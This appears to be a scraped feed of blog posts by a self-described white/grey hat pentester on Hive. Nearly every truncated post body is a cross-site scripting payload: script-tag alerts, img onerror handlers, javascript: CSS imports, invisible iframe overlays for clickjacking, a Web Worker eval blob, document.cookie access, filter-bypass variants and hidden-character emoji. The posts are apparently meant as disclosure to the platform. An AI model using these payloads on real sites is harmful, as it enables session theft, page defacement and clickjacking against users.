louis.random

test

Direct Execution Payloads "> "> "> "> "> "> "> "> "> Redirect & Protocol Bypasses "> "> ">Click Me "> "> Obfuscation & Filter Bypasses ">alert('XSSCaseSensitivi...

test test test

Testing 123 456 789 0...

"><script>alert(123);</script>

">alert(123);...

Layout Takeover Part 1 - mengao

YOU GOT HACKED!!11!!!!1 Just kidding... just please fix your security vulnerabilities. Greetings from @louis88 / @louis.witness - Hive White/Grey Hat Pentester....

🎂

=== Zero Width Space Variant === 🎂​​ === Variation Selector Variant === 🎂󠄀󠄀...

Emoji Test

😎󠄴󠅕󠅤󠅜󠅕󠅦󠄐󠅙󠅣󠄐󠅚󠅥󠅣󠅤󠄐󠅓󠅟󠅟󠅜󠄐󠅑󠅞󠅔󠄐󠅣󠅟󠅝󠅕󠅤󠅙󠅝󠅕󠅣󠄐󠅧󠅕󠅑󠅢󠅙󠅞󠅗󠄐󠅑󠄐󠅦󠅕󠅢󠅩󠄐󠅞󠅙󠅓󠅕󠄐󠅒󠅜󠅥󠅕󠄐󠅣󠅥󠅞󠅗󠅜󠅑󠅣󠄐󠄝󠄐󠅕󠅦󠅕󠅞󠄐󠅧󠅘󠅕󠅞󠄐...

dialog-2-success

XSS Full Layout Takeover! Your content here....

dialog - check

XSS Full Layout Takeover! Your content here. Click Me! ---...

200-3

1. Obscure HTML5 Tags & Attributes XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS XSS alert(1) alert(1) 2. Advanced Event Handlers & Manipulations 3. Context-Break...

200-2

1. Obfuskation & Encoding Varianten (sehr aggressiv) Click Click Click Click Click @import "javascript:alert(1)"; 2. HTML5 Events & Obscure Tags X x 3. XML/SVG ...

200!

1. Erweiterte Script-Tag-Varianten alert(1) alert(document.cookie) alert(location.href) alert(window.name) confirm(1) prompt(1) eval('alert(1)') top.alert(1) se...

<img src=x onerror=alert('XSS title')>

@ for reference:...

Just a Test"><script>alert(123);</script>

alert("XSS: ") Klick mich Klick mich Style alert("XSS: svg cdata")]]> alert('XSS: math') script>alert("XSS: nested") ipt>alert('XSS: malformed')ipt>dasd fake-bu...

😀

//&NewLine;alert('XSS') ';"> {"user":""} Click me Click me iframe { position:absolute; top:0; left:0; width:100%; height:100%; opacity:0; } alert(1)"> document....

dasdasdas

alert('XSS') Click me alert('XSS') alert('XSS') Click me @import 'javascript:alert(1)'; alert('XSS')"> eval('alert("XSS")') Click me alert('XSS')"> Click Submit...

asdasdasd

alert('XSS') Drag me ws.send("alert('XSS')"); const observer = new MutationObserver(() => alert('XSS')); observer.observe(document.body, { childList: true }); i...

500

alert('XSS1') Click me alert('XSS8') Hello alert('XSS12')"> Submit body{background:url("javascript:alert('XSS18')")} alert('XSS19') XSS alert('XSS23')]]> alert(...

Testing the Test of the Tests

a b alert('XSS')]]> a b alert('XSS')]]> a b ]]> a b Click me]]> a b ]]> alert('XSS') Click me alert('XSS') Hello alert('XSS')"> Submit body{background:url("java...

Number 7 - Test 2

alert('XSS')"> alert('XSS')--> body:before { content: 'You are hacked, joking. \';}alert("XSS: You have been hacked, just joking!");body:before{content:\''; dis...

Number 7 - Testing

var blob = new Blob(["onmessage = function(e) { postMessage(eval(e.data)); }"], { type: 'application/javascript' }); var url = URL.createObjectURL(blob); var wo...